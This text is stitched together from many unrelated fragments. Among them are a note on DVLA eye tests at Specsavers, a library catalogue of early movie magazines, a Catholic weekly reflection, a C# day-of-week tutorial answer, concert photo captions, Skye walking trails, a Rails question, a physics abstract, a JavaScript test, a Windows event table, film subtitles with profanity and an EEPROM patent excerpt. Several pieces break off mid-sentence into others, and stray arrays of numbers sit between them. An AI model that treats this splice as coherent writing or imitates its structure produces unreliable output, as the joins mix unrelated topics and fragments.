DVLA had a list of ‘approved optometrists’ for people to attend but since 2013, everyone who is required to have a field test by the DVLA has to go to a branch of Specsavers, dissatisfaction already discussed in IDDT Newsletters. The Guardian quotes the DVLA as saying …the contract had to be tendered in accordance with the Public Contracts Regulations 2006. Specsavers provided the most economically advantageous tender.” It was worth £8million to Specsavers. Unanswered questions Apparently Specsavers claim that it is thanks to its exclusive contract with the DVLA that the problem with the visual field analysers came to light. While this may be meant to be reassuring, it leaves some unanswered questions. Does the DVLA know who was tested on the faulty equipment between 2010 and 2013 when a variety of optometrists were used? Has everyone that should be contacted, been contacted? The answers are not clear but if you feel that this could apply to you, we recommend that you appeal to the DVLA.Older magazines designed to appeal to movie fans of the past Published from 1915-1931. Began as a supplement to Motion Picture Magazine (1915). Also known as Classic (1922-1924) and Classic Pictorial of Screen and Stage (1924).Print issues from 1915-1917 and 1921-1931 located in Buhr Shelving Facility at call number: 808.25 M916 Published from 1911-1960s(?). The first movie-fan magazine in America. Also known as Motion Picture Story Magazine (1911-1914), Motion Picture (1938-1951), and Motion Picture & Television Magazine (1951-1954).Many print issues from 1911-1959 located in Graduate Library and Buhr Shelving Facility at call number 808.25 M92 and are being scanned for Hathi Trust Digital Library and Google Books. Selected print issues from 1911-1915 located in Clements Library Remote Storage.Catholic Culture Update for the week beginning October 13th, 2013 Quote to carry in your heart for the week. “O sing to the Lord a new song” Psalm 98 October 13th is the Twenty-Eighth Sunday in Ordinary Time. “Once, before we were married, my future wife fell seriously ill. We lived in an underdeveloped country then, during a vicious war. Medicines for civilians were hard to come by and medical experts were few. I would have given anything to have been able to help cure her and, when she recovered, my gratitude knew no bounds. I think of this time in my own life when I hear the story of the ten lepers who were healed by Jesus. I can understand how the depths of despair were fed by such a severe illness, leading this foreigner, a Samaritan, to call upon the mercy of an unknown itinerant teacher. When the chips are down, we become open to anything. The work of Jesus was to make known the design of God for humanity. To do this, he preached to the crowds. But as Luke’s Gospel rightly tells us, Jesus also explained the love of God by his actions. Jesus lavished special attention upon the needs of the poor, especially those who were sick and had lost all hope. This love was even extended to Samaritans and ‘foreigners.’ We are asked to do the same if we desire to live lives of authentic holiness. Can the Christian communities of today truly preach (and authentically live) the Gospel if we pass by the lepers of today without responding to their needs?” Joseph Gunn, October Living with Christ, page 73. Compassionate God, help us to see the lepers of today and to respond to their needs. Spend some time pondering “Who are the lepers of today?” October 14th is Thanksgiving Monday. Let us give thanks for the endless blessings that are ours because we live in a developed country like Canada. Gracious God, thank you for all you offer to us freely every day. Say thank you to someone you don’t usually say thank you to. October 15th is the memorial of St. Teresa of Avila. “As a little girl in her parents’ rich home, Teresa and her brother Rodrigo loved to read the lives of the saints and martyrs. It seemed to them that the martyrs got to heaven an easy way. The two children set out secretly to go to a faraway land, where they hoped they would die for Christ. But, fortunately, they had not gotten far when they met an uncle. He took them back to their worried mother at once. Next the children decided to be hermits in the garden. This didn’t work out either. They could not get enough stones together to build their huts. St. Teresa herself wrote down these amusing stories of her childhood. The fact is that when she became a teenager she changed. Teresa read so many novels and foolish romances that she lost much of her love for prayer. She began to think more of dressing up to look pretty. But after she recovered from a bad illness, Teresa read a book about the great St. Jerome. Then and there, she made up her mind to become a bride of Christ. She entered the Carmelite Order in 1536.” Saints for Young Readers for Every Day vol. 2 pages 188-189. St. Teresa, inspire us to grow in courage and faithfulness to Jesus’ message of love. St. Teresa had a sense of humour. Once, her carriage broke down, and she was thrown outside into the rain and mud. “If this is how you treat your friends, no wonder you have so few!” she said to God. Renew your friendship with God today. Talk to God like you talk to your friends. October 16th is World Food Day. “Sustainable Food Systems for Food Security and Nutrition” will be the focus of World Food Day in 2013. The official World Food Day theme – announced at the start of every year by the Food and Agriculture Organization of the United Nations (FAO) – gives focus to World Food Day observances and helps increase understanding of problems and solutions in the drive to end hunger.” http://www.fao.org/getinvolved/worldfoodday/en/ Whatever you eat today, give thanks! October 16th is the memorial of St. Marguerite d’Youville. “Marguerite was born in Quebec, Canada, on October 15, 1701. Her father died in 1708 and the family lived in poverty. Relatives paid her tuition at the Ursuline convent school in Quebec. Her two years at the boarding school prepared her to teach her younger brothers and sisters. Marguerite was gracious and friendly. She helped support her family by making and selling fine lace. In 1722, Marguerite married Francois d’Youville. It seemed like the marriage was going to be a truly happy one. But Francois’ real self came out as the months passed. He was more interested in making and spending money than in being with his family. He left Marguerite alone with their children and did not take care of them. Francois died quite suddenly in 1730 after eight years of marriage. He left Marguerite with large debts to pay. A kind priest named Father de Lescoat gave her courage. He assured her that she was loved by God and that soon she would begin a great work for him. Marguerite took in a blind, homeless woman on November 21, 1737. This marks the beginning of a marvelous work of caring for the sick poor in infirmaries and then actual hospitals. She began a community of sisters who became known as the “Grey Nuns,” because of their religious habit was grey. The sisters took over the general hospital in Montreal. It was run-down and very much in debt. People laughed at the sisters. It was hard to believe they would be able to succeed at such a difficult task. But Mother d’Youville and her sisters did not lose heart. They worked, and built, and fixed. Above all, they welcomed everyone in
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187, 50274, 338, 313, 2913, 654, 10519, 26561, 10, 551, 187, 50270, 22408, 747, 37026, 5330, 3914, 3, 11564, 20175, 432, 551 ]	public enum Days : byte { Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday }; public enum Months : byte { January, February, March, April, May, June, July, August, September, October, November, December }; class Program { public static void Main(string[] args) { const int numDays = 7; const int numMonths = 12; Months month = Months.Janurary; int monthCounter = 1; int[] daysinMonth = new int[numMonths] { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; int[] daysofWeek = new int[numDays] {1, 2, 3, 4, 5, 6, 7}; Days dayOfWeek = Days.Sunday; dayOfWeek = Days.Friday; foreach (month in Months ) { My brief is: Using only the tools we have covered to date, find the weekday name of a specific date in 2016, working from Friday January 1 2016, using nested loops and comparisons. A: Since you don't want code, I'll give you some explanation and just a little code. Then, once that's all done, there's full code at the bottom of this that will give you all you need for an arbitrary date. However you are interested only in the year 2016. As a result, if you do want todo is calculate the day of the week for a specific year, all you need (from the full code) is the class declaration, and two functions: GetDayNumberFromDate GetDayOfWeekFromDate Explanation and Just a Little Code I would do all this in a static class. You don't need an instance of anything, just a few functions/methods. In that class I would declare and intialize three private variables: An array of 12 integers, each of represents the number of days in each month. Remember that array indexing starts at zero, so you need to subtract one form a month number (1-12) to get the array index (0-11). I also suggest you put a comment noting that 2016 was a leap year and that's why February has 29 days A private const integer (perhaps named YearOfInterest) that is set to 2016. It represents a symbolic alias for the number 2016. Consts make your code easier to maintain (consider if you teacher changes his mind and says "no, do it for 2014" and you used 2016 in six or eight places in your code - if you had a const, you'd only need to change one of those places. Something that represents the fact that January 1, 2016 is a Friday. I would use the System.DayOfWeek enum (yeah, it's library code, but anything you do will be pretty much a character-by-character repeat of that). If you wanted to, you could use your YearOfInterest const int and do something like (which will allow things to work if your teacher changes his mind about the year) That would be a very simple declaration like the following: private readonly static DayOfWeek Jan1DayOfWeek = new DateTime (YearOfInterest, 1, 1).DayOfWeek; I think it's a lot cleaner than just saying: private readonly static DayOfWeek Jan1DayOfWeek = DayOfWeek.Friday; Remember that enums start numbering (by default) at zero, so Sunday is 0 and Saturday is 6. With that done, I'd create two functions: One that calculates the Day Number for a date (i.e., the number of days that have passed in the year until that date (the day number for Jan 1 is 1, and for Feb. 3 is 34). One that calls your Day Number function (i.e., getting an integer) and returns a day of the week. The first function (let's call it GetDayNumberFromDate) takes a two integer date (month and day) does three things: It checks your pre-conditions. Since both those number are user-entered, and users make mistakes you need to make sure than both numbers are equal to or greater than 1, that the month number is equal to or less than 12, an that the day number is equal to or less than the number of days in the month (which you conveniently know - it's in your array (remember to subtract one when you index into that array). If any of these preconditions are not met, throw an exception. This is important. If someone enters a wrong number, you will likely index out of your array (which will throw an exception, but without the information about why it happened). Checking pre-conditions is always good It loops over your "days in a month" array, from the beginning of the array until the month before the month entered (minus one) summing the number of days. If someone enters April 4th, you want to add the number of days in January (31), February (29) and March (31). That will get you to the beginning of the month (well, the last day of the previous month). It adds in the day of the month entered - that gets you to the current day. Since you wanted coaching on the for loop, that loop would end up looking like this: int dayCount = 0; for (int i = 0; i < month - 1; ++i) { dayCount += daysPerMonth[i]; } At the end of the loop, dayCount would tell you the number of days from the start of the year until the end of the month before the entered date. When you add in the day of the month that was entered, presto, you get the day number. Finally, the last function (call it GetDayOfWeekFromDate) also takes those same two integers (month number and day of month number). It calls GetDayNumberFromDate to get the day number for the entered date, subtracts one (since calculations starting from 0 are much easier than from 1) and adds in the integer equivalent of that Jan1DayOfWeek we declared at the beginning ((int) Jan1DayOfWeek). With that in hand, I'd take that number and do a "modulus 7" operation (thatNumber % 7). A modulus is the result of calculating the remainder of an integer division. That will get you a number between 0 and 6. If you cast that number back into a DayOfWeek it will get you a day of the week between Sunday and Saturday. Call ToString on that result, and you have your result. Do not be surprised if the result is off (particularly if it's off by one). Getting this right the first time is tricky. That's where debugging comes in. By the way I would not try to parse a date like "January 1". You'd really need to take care of abbreviations (Jan, Feb,...), and you'd upset folks who can't spell "February". Just use month and day integers. One thing you will notice in all this is that there are no nested loops. There's no need for that, and nested loops can be expensive. This code loops over the number of months that have passed (i.e., less than 12 times). If you were to loop over the months and the days in the month, you would be loop 12 times 30-ish times (i.e., about 366 times). 12 is a smaller number The full code follows: I don't know what you have learned, so this is mostly in pretty basic circa 2005 C#. First a static class with a few basic "constants": static class FigureDate { private static readonly int[] _leapYearDaysPerMonth = new int[] { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; private static readonly int[] _normalYearDaysPerMonth = new int[] { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; private const int YearZero = 1900; //Sunday is zero in DayOfWeek private readonly static DayOfWeek _day0 = new DateTime(YearZero, 1, 1).DayOfWeek; } (By the way, DayOfWeek is a enum defined in the System namespace, so you get it for free. Sunday is 0) I'll be adding more stuff to that class - everything (i.e., all the functions below) goes in there. First, is a particular year a leap year (which is never trivial to figure out): public static bool IsLeapYear (int year) { if (year % 400 == 0) { return true; } if (year % 100 == 0) { return false; } //otherwise return (year % 4) == 0; } Then I figure how may leap years have passed since "day 0" (luckily, 1900 is not a leap year, so the likelihood of an off-by-one error is reduced): public static int NumLeapYearsToStartOfYear(int year) { if (year < YearZero) { throw new ArgumentException($"Only Years from {
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Just like any good session of, uh, “happiness.” Copenhagen’s finest (post-)punk-rock band plowed into Brooklyn’s Elsewhere for not only its second show in three nights in the Big Borough but also its final North American date of 2018. Iceage—fronted by madman Elias Bender Rønnenfelt—was supporting startlingly mature fourth album Beyondless (Matador). MAGNET photographer Wes Orshoski risked life and limb at the foot of the stage to get these pain-killing pics. All month, Thom Yorke is touring North America in support of new album Suspiria (Music For The Luca Guadagnino Film) (XL). The Radiohead frontman kicked off the jaunt in MAGNET’s hometown of Philly at Franklin Music Hall and followed up a few nights later at Brooklyn’s King Theatre. MAGNET had photographers at both shows—Chris Sikich (Philly) and Wes Orshoski (NYC)—to make sure Yorke had everything in its right place. Here’s what happened in Brooklyn. All month, Thom Yorke is touring North America in support of new album Suspiria (Music For The Luca Guadagnino Film) (XL). The Radiohead frontman kicked off the jaunt in MAGNET’s hometown of Philly at Franklin Music Hall and followed up a few nights later at Brooklyn’s King Theatre. MAGNET had photographers at both shows—Chris Sikich (Philly) and Wes Orshoski (NYC)—to make sure Yorke had everything in its right place. Here’s the Philly Special. Thom Yorke brought some of his odd beats to Philadelphia on Black Friday to open his North American solo tour. Playing before a sold-out crowd at Franklin Music Hall, Yorke was in fine, loose form, delivering a soundtrack to the emotions just out of focus and underneath the skin in the best Yorkian way possible. Despite recently doing the soundtrack for Luca Guadagnino’s reimagining of 1977 Italian film Suspiria, he and bandmates Nigel Godrich and Tarik Barri only performed one track from the soundtrack (“Unmade”), which ended the show. Yorke chose to stick to his other solo works like Tomorrow’s Modern Boxes and The Eraser. He floated between guitar and keys and mixing board with ease and joy, jumping and twirling onstage while Barri’s fluid images made a colorful backdrop that encouraged the crowd to loosen up to the ethereal sounds. Yorke’s supreme understanding of rock music as a progression of hip and head-shaking beats made the show one of pure aural and visual enjoyment. Tickets sold out quickly, and it would’ve been easy for Yorke to do a second sold-out date, but this night of elliptical sounds did just fine for now. Oliver Coates opened with his avant-garde cello music. With piercing light stands surrounding his stark set-up, he was a great inner-ear warm-up for the night. Mitski concludes her North American tour in support of Be The Cowboy (Dead Oceans) tonight at Brooklyn Steel with Arooj Aftab opening. Starting in late January, she’ll kick off dates in Australia, New Zealand and Asia. Ms. Miyawaki recently played a sold-out, 23-song set at Philly’s Union Transfer, a show added after her previous gig there in October sold out immediately. (Both shows featured NYC duo Overcoats opening.) MAGNET photographer Chris Sikich was at the second show and came away with a loving feeling and these images. This superstar super trio features Nickel Creek fiddler/guitarist Sara Watkins, Grammy-winning singer/songwriter/guitarist Sarah Jarosz and Aoife O’Donovan (known for her stunning vocal work with Crooked Still and Sometymes Why). Debut See You Around shows off I’m With Her’s celestial harmonies, instrumental prowess and impressive songwriting. The women alternate lead vocals, but when their voices blend, moving from two-part to three-part harmonies, the music really takes off. The threesome brought all this and more to Philadelphia’s Union Transfer, playing a 17-song set that included covers of songs by Jim Croce (a Philly boy) and Bill Monroe. MAGNET photographer Chris Sikich was there to capture these girls on film.Walks & wildlife Cuairtean & Fiadh-bheatha The terrace walk along the garden edge boasts some of the best views in Skye, looking over the Sound of Sleat to the mountains of Knoydart. Leading beyond the gardens we have created over 5 miles of nature trails into areas of beautiful mixed woodlands, with plenty of opportunities for wildlife-spotting. You are welcome to take your dog on the nature trails but due to the presence of livestock, please keep them on leads at all times. For walks on the wider estate and Sleat Peninsular download the Paths Around Sleat leaflet produced by Visit Sleat. Estate trails The Red Trail (1.25 miles return) follows the shore of the Sound of Sleat through woodland carpeted in bluebells and wild garlic in spring. Look out through the trees and you may catch a glimpse of otters at play on the shore. The Blue Trail (1.5 miles return) takes you through farmlands and woodland with open glades with views of Armadale Castle nestling amongst the trees. A spur off this path heads north to Armadale Hill (Cnoc Armadail), extending the walk to 3 miles. A panoramic viewpoint lays the magnificent Sleat peninsula before you, framed on one side by the spectacular Cuillin Ridge and on the other by the mainland hills of Knoydart. This is the territory of red deer and golden eagles. Wildlife Our gardens and wider Estate offer visitors the chance to see many of Scotland’s iconic wildlife species in their natural environment including red and roe deer, otters and a huge variety of birds including skylarks, lapwings, shearwaters, diving gannets and golden eagles. The sea (white tailed) eagle has been re-established on Scotland’s west coast and you may well see one of these magnificent creatures soaring above you as you explore the Estate. The sea around the Estate is home in the late summer to basking sharks and minke whales, while porpoises can be seen in many of the bays from the spring onwards. You can sometimes spot otters playing on the shore beneath the terrace walk. Walking through the ancient woodland of Dalavil you might even see an adder. If you do see this snake’s distinctive markings, go quietly and carefully, and the adder should slip away.Q: Why am I getting this printed instead of my flash message? # I have upgraded my application to Rails 3.1 and now this is appearing where there should be the flash[:notice] message:#<ActionDispatch::Flash::FlashHash:0x7fd9f99acc90>. When inspecting the value, I end up concluding that the 'variable' flash is a ActionDispatch::Flash::FlashHash and contains a ActionDispatch::Flash::FlashHash as value for the notice key. Did anyone have the same problem? How can I fix this? The flash is being set with: flash.notice = "The Subscription was created successfully." or with redirect_to(blablabla_path, :notice => 'The Subscription was successfully updated.') and it's being printed with (haml): - if notice .notice= notice This is happening to me in every action.. There's more about the code where this problem is occuring here: respond_with redirect with notice flash message not working A: It was fixed. The show redirect has been preceeded by flash.keep instead of explicitly passing the flash as argument. --- abstract: 'Based on the Lindblad master equation approach we obtain a detailed microscopic model of photons in a dye-filled cavity, which features condensation of light. To this end we generalise a recent non-equilibrium approach of Kirton and Keeling such that the dye-mediated contribution to the photon-photon interaction in the light condensate is accessible due to an interplay of coherent and dissipative dynamics. We describe the steady-state properties of the system by analysing the resulting equations of motion of both photonic and matter degrees of freedom. In particular, we discuss the existence of two limiting cases for steady states: photon Bose-Einstein condensate and laser-like. In the former case, we determine the corresponding dimensionless photon-photon interaction strength by relying on realistic experimental data and find a good agreement with previous theoretical estimates. Furthermore, we investigate how the dimensionless interaction strength depends on the respective system parameters.' address: \| $^1$Scientific Computing Laboratory, Center for the Study of Complex Systems, Institute of Physics Belgrade, University of Belgrade, Serbia\ $^2$Faculty of Physics, University of Vienna, Austria\ $^3$Physics Department and Research Center OPTIMAS, Technische Universität Kaiserslautern,
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2780, 27, 51, 20583, 13, 1162, 88, 64, 14605, 64, 14605, 64, 17, 93, 187, 93, 60, 26, 4699, 880, 20969, 16, 8045, 14, 26, 4699, 15, 6535, 8579, 17, 93, 11336, 93, 292, 88, 64, 5251, 64, 4756, 13, 1162, 88, 64, 47558, 64, 307, 27, 51, 6230, 30000, 2780, 27 ]	---/ var iterCount = 0; async function fn() { for await (var [cover = (function () {}), xCover = (0, function() {})] of [[]]) { assert.sameValue(cover.name, 'cover'); assert.notSameValue(xCover.name, 'xCover'); iterCount += 1; } } fn() .then(() => assert.sameValue(iterCount, 1, 'iteration occurred as expected'), $DONE) .then($DONE, $DONE); 929 F.2d 696 U.S.v.Lincoln NO. 90-3386 United States Court of Appeals,Fifth Circuit. MAR 13, 1991 1 Appeal From: E.D.La. 2 AFFIRMED. * Fed.R.App.P. 34(a); 5th Cir.R. 34.2 # Microsoft-Windows-RRAS ETW events ## Description This page contains the list of events for Microsoft-Windows-RRAS, as collected by the Event Tracing for Windows. ## Sub Data Sets \|events\|Version\|Description\|Tags\| \|---\|---\|---\|---\| \|[1000](events/event-1000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0\| \|[1001](events/event-1001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0\| \|[1002](events/event-1002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0\| \|[1003](events/event-1003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Mprdim, etw_task_task_0\| \|[2000](events/event-2000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Mprdim, etw_task_task_0\| \|[2001](events/event-2001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Mprdim, etw_task_task_0\| \|[2002](events/event-2002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Mprdim, etw_task_task_0\| \|[2003](events/event-2003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Mprdim, etw_task_task_0\| \|[3000](events/event-3000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0\| \|[3001](events/event-3001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0\| \|[3002](events/event-3002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0\| \|[3003](events/event-3003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Rtrmgr, etw_task_task_0\| \|[4000](events/event-4000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Rtrmgr, etw_task_task_0\| \|[4001](events/event-4001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Rtrmgr, etw_task_task_0\| \|[4002](events/event-4002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Rtrmgr, etw_task_task_0\| \|[4003](events/event-4003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Rtrmgr, etw_task_task_0\| \|[5000](events/event-5000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0\| \|[5001](events/event-5001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0\| \|[5002](events/event-5002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0\| \|[5003](events/event-5003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnike, etw_task_task_0\| \|[6000](events/event-6000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Vpnike, etw_task_task_0\| \|[6001](events/event-6001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Vpnike, etw_task_task_0\| \|[6002](events/event-6002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Vpnike, etw_task_task_0\| \|[6003](events/event-6003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Vpnike, etw_task_task_0\| \|[6004](events/event-6004.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Vpnike, etw_task_task_0\| \|[7000](events/event-7000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0\| \|[7001](events/event-7001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0\| \|[7002](events/event-7002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0\| \|[7003](events/event-7003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Vpnikeapi, etw_task_task_0\| \|[8000](events/event-8000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Vpnikeapi, etw_task_task_0\| \|[8001](events/event-8001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Vpnikeapi, etw_task_task_0\| \|[8002](events/event-8002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:Vpnikeapi, etw_task_task_0\| \|[8003](events/event-8003.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:Vpnikeapi, etw_task_task_0\| \|[9000](events/event-9000.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:Rtm, etw_task_task_0\| \|[9001](events/event-9001.md)\|0\|None\|etw_level_Informational, etw_keywords_ut:RrasAdmin ut:Rtm, etw_task_task_0\| \|[9002](events/event-9002.md)\|0\|None\|etw_level_Error, etw_keywords_ut:RrasAdmin ut:
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346, 6300, 1056, 2119, 309, 1353, 327, 253, 3835, 449, 346, 4497, 13, 352, 434, 875, 368, 285, 12688 ]	ren whoops]" "[Sean] The world stage." "It's always seemed funny to me how a man can go from looking at a map of," "I don't know, say Helmand province, to finding himself in Europe trying to persuade our friends and allies that his crazy dream is their crazy dream, too." " [Glen grunts]" " Bonjour, General." "[sighs] Thank you." " [guard] Bonjour, monsieur." " Hello." "[Cory] Okay, so tomorrow afternoon, you have the presentation to I'École Militaire." "Uh..." "Tomorrow night, dinner with the minister of defense." "That is a gala dinner, by the way." "Just a heads-up so you can prepare yourself mentally." "It's a big one." "Meetings the next day." "Then we got the night free." " And then to Berlin." " [Glen] Yeah." "Here we go." "Obama is in Copenhagen tonight." "They wanna know if you can spare time for a meeting on Air Force One tomorrow morning." " The president wants some face time." " [Greg chuckles]" "Now he wants fucking face time." "Fucking dick." "So can you do that, boss?" "Then we can jet across to Copenhagen at zero six." "The president's gonna be on the tarmac at 8:30." "Well, you're the keeper of my schedule, Cory." "You tell me if I can do it." "Uh, okay, yeah, we can have you back in Paris early afternoon, depending on how much time you two need." "And I can shift your morning meetings." "See that out there?" "I'm calling that dusk." "That's close of fucking business." "Boss, you good with this?" "Sure, Pete." "We're not in theater." "You boys earned it." "Sir, have you had a chance to say hello to your wife yet?" "You know, she checked in this morning." "I think she's waiting for you in your room." "Shit." "Right, I should do that." " What room am I in again?" " [all speaking]" " 517." " What?" " Five-seven-one." " Five-one-seven." " Stop." "Go." " Five-one-seven." "Five-one-seven." " [knocking on door] - [clears throat]" " Hi, boss." " Hey, Willy." "[sighs]" " Hi." "Hi, honey." " Hi." " Hi." " Huh." "I'm sorry, I've been delayed." "The president is wanting time with me tomorrow, and we've been trying to ascertain whether... whether or not we can accommodate this request." " I'm gonna leave you two be." "I'll be..." " [clears throat]" " I'll be right next door." " Okay, thank you, Willy." "[sighs]" "[sighs] Well, we're in Paris." "Yeah..." "Hopefully we'll get to see some sights." "Yeah, I'll have, uh, Cory, uh, schedule some time." " Yeah." " Okay, but you do what you gotta do, because I am here for you." " Oh, yeah?" " Uh-huh." " How's Tim?" " Oh, he's good." "He's good." " He sends his love." " Okay." "Um..." "He's..." "He's got a new girlfriend now." " Ooh!" " Yeah, I like her." "Yeah, her daddy's an ILE instructor over at Leavenworth." " Huh." " Mmm-hmm." "Yeah, she's sweet." "You'll like her." "Hmm." "Well..." "Well, I..." "I think it's just great you're getting to see the president, honey." "You must be very excited, huh?" "[Pat] Hey, Glen." "Hope you don't mind me hitching a ride." "I'm on my own dash to see the president." "They told me you were heading over there this morning." "No problem, Pat." "My plane is your plane." " Knock yourself out." " Thanks, Glen." "So my hope is, depending on how long your meeting goes with the president, we can have you back in Paris NLT 1400, then straight to the École Militaire for 1500." "My uniform will be crushed after these flights." "I'll need a shower, a fresh shave." "I'm allowing for four solid hours with the president." "If it's less than that, we should be fine to go via the hotel." "I am just contingency planning for the possibility we may be running tight on time." " Can we move the École Militaire back?" " Not really." "Gonna be a lot of people there." "We have the gala dinner right after." "We don't have any wiggle room here." "[Greg] You should wear the fatigues to the thing this afternoon." "The general, direct from the battlefield." "No need to shower when you're straight from the fight." " That's good." " Yeah." " It's very good." " [Matt] I like that." "Well, just make sure Willy has my fatigues on standby." "[Glen grunts]" "Talking points for the president." "[Glen grunts]" "How you doing, Glen?" "Oh!" "[sighs]" "This one is a bitch, right?" "Nothing about war is easy, Pat." "Right on." "Though I'm guessing, somewhere deep down, you were happier in Iraq." "A soldier leading soldiers." "Soldiers above you, soldiers below you." "Just a nice bubble of soldiers." "Just ordered." "Right?" "'Cause it has to be." "War is chaos, so then the army has to be the opposite of chaos." "But now you find yourself in the real world." "Now you're dealing with civilians, and civilians don't make sense." "Not making sense is a luxury I can't afford." "Hmm." "Lives depend on it." " No, of course." " Yeah." "Absolutely." "And you can't live in the bubble forever." "You gotta rise as your talents dictate." "What do you want, Pat?" "How do you think this ends?" "Simple." "We either win it or we lose it." "Yeah, I don't know." "I think I'm gonna call bullshit on that, Glen." "All the winning we were ever gonna do, we did in the first six months." "And since then, we've just been making a mess." "And that's all it was ever gonna be." "You're not here to win." "You're here to clean up the mess." "You'll get your 40,000 troops." "Get 'em in there." "Get your PowerPoint presentation in order, you know?" "Just move the needle a little bit." "Show everyone how all the graphs are pointing in the right direction." "That's all you gotta do." "That's how this ends best for you..." "anyway." "A nice-looking set of graphs." "Or a nicer-looking set of graphs than the last set of graphs." "Either that or get yourself fired." "Then you can say "I told you so" when it all turns to shit or fizzles out or..." "however it is this thing ends." "There's no street parade at the end of this one." "It's good to talk." "[inaudible]" " [cameras shutters clicking] - [indistinct chatter]" "[Obama] Everybody." "How are you?" "Morning." "Yeah, it's good to see you again." "[indistinct chatter]" " How you doing?" "Good to see you." "Nice tie." " [man 1] Thank you." "[Obama] All right." "How's it going?" " Morning, sir." "Nice to see you again." " All right." "Take care now." "[woman] It's good to see you, Mr. President." "[Obama] All right, see you soon." " Mr. President." " It's great to see you, General." "I'm sorry, but we're running behind schedule." "I was looking forward to getting some face time with you, but I gotta get this baby in the air." "So... all right." "Smile for the cameras, Glen." "All right." "Take care." " Pat." " Mr. President." " Let's get going." " [Pat] Yes, sir." "All right, Magnus, talk to you soon." "Okay?" "[Sean] You could argue that the main reason certain generals like war so much is... well, because it's only in war that they feel truly relevant." "It's only in war that they feel close to the center of power." "Only in war do they feel the warm glow of other people's attention." "[Matt] Good evening, sir." "The attention of people like me." "Okay, you know what?" "You both look beautiful." "[chuckles] Really." "Uh, sir, before you get dragged into the hubbub there," "I want to introduce you to Sean Cullen here." "Sean's the writer from Rolling Stone." "He's been doing that profile piece on you." "He's gonna be tagging along for a couple days." "Thanks for having me, sir." "It's a real privilege." " Rolling Stone?" " Yes, sir." "Just make sure I'm on the cover." "Well, it's between you and Lady
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This programming and erasing of an EEPROM is accomplished electrically and in-circuit by using Fowler-Nordheim tunneling as is well known in prior art. Basically, a sufficiently high voltage is applied to the control gate and drain while the source is grounded to create a flow of electrons in the channel region in the substrate. Some of these electrons gain enough energy to transfer from the substrate to the floating gate through the thin gate oxide layer by means of Fowler-Nordheim tunneling. The tunneling is achieved by raising the voltage level on the control gate to a sufficiently high value of about 12 volts. As the electronic charge builds up on the floating gate, the electric field is reduced, which reduces the electron flow. When, finally, the high voltage is removed, the floating gate remains charged to a value larger than the threshold voltage of a logic high that would turn it on. Thus, even when a logic high is applied to the control gate, the EEPROM remains off. Since tunneling process is reversible, the floating gate can be erased by grounding the control gate and raising the drain voltage, thereby causing the stored charge on the floating gate to flow back to the substrate. Of importance in the tunneling region is the quality and the thinness of the tunneling oxide separating the floating gate from the substrate. Usually a thickness of between about 80 to 120 Angstroms is required to facilitate Fowler-Nordheim tunneling. Several different methods of forming split-gate flash memory cells are described in prior art. Ahn in U.S. Pat. No. 5,652,161 is concerned about the degradation of the tunnel oxide in a flash EEPROM cell due to the band-to-band tunneling and the secondary hot carrier which are generated by a high electric field formed at the overlap regions between the junction region and the gate electrode when programming and erasure operations are performed by a high voltage to the structure in which the tunneling region is separated from the channel with a thick insulation film. In a separate U.S. Pat. No. 5,614,747, Ahn, et al., disclose a different method for manufacturing a flash EEPROM cell in order to prevent over-erasure of the cell and decrease the cell area by forming a floating gate in the form of a spacer on a side wall of a select gate and by forming a control gate to surround the select gate and the floating gate. Hong, et al, describe in U.S. Pat. No. 5,422,292 another process for fabricating split-gate flash EEPROM memory where the isolation between the floating gate and the control gate is improved by using a first and second oxide layer so that the problem of leakage does not occur. Jeng, on the other hand, discloses a method of re-crystallizing a floating gate for the purposes of maximizing the coupling between the floating gate and the drain and the portion of the channel regions over which the gate is disposed. In addition to these prior methods, what is needed is a method for improving the program erase speed of split-gate flash memory cells by shaping the edge of the floating gate as disclosed in the present invention.Plasma corticosterone values in genetic hypertensive and 